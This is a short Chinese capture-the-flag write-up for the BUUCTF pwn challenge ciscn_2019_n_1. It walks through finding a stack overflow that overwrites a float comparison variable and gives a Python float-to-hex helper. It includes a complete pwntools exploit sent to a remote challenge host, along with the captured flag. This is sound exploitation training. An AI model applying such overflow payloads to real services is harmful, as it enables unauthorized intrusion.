pwn学习(4)BUUCTF-ciscn_2019_n_1(浮点数转十六进制脚本积累)

checksec一下

IDA打开,如果满足的条件达成,就可以get flag

找到栈溢出漏洞,输入可以覆盖到v2

将代码11.28125在内存中的十六进制表示出来,

浮点数转十六进制代码如下:

复制代码
import struct

def float_to_hex(f):
    return hex(struct.unpack('<I',struct.pack('<f',f))[0])
print(float_to_hex(11.28125))
#output(0x41348000)

exp:

复制代码
from pwn import *

p=remote('node4.buuoj.cn',25860)

payload=b'a'*(0x30-0x4)+p32(0x41348000)
p.sendline(payload)

p.interactive()

运行出来的结果:

flag{8a5e8279-51a2-4b3b-8959-4d3f9b19227f}
总结:

脚本积累:浮点数转十六进制代码

相关推荐
clorinda7 小时前
PyTorch 手写数字识别学习笔记
pytorch·笔记·学习
m4Rk_8 小时前
【论文阅读】Agent 记忆机制(63):SAMem——把经验记忆细化为带长期价值的状态—Thought
论文阅读·人工智能·学习·开源·github
kyrie_sakura8 小时前
MySQL数据库学习笔记1 -- 基础概念,sql语句
数据库·学习·mysql
吴声子夜歌8 小时前
Linux命令——学习Shell(三)
linux·chrome·学习
小猪佩奇TONY9 小时前
Linux 内核学习(18) --- linux dma_buf 机制
linux·运维·学习
叶子野格9 小时前
《Verilog学习:数字系统设计基础》
学习·fpga开发
边境悍匪9 小时前
蜗牛学苑 Java 智能体学习 Day36|阿里云 OSS 文件上传、Spring 事务、全局异常思维导图复盘
java·学习·阿里云
Linux-lucky9 小时前
33-Linux学习之旅之MySQL用户管理
java·linux·运维·学习·mysql·ubuntu
亮工硬件9 小时前
1-8 简易串口通讯协议(UART + 自定义帧协议)
笔记·stm32·单片机·嵌入式硬件·学习
老猿讲编程9 小时前
【Eclipse OpenSOVD学习之二】 SOVD 协议原理与标准背景
学习·eclipse·嵌入式软件·车载·sovd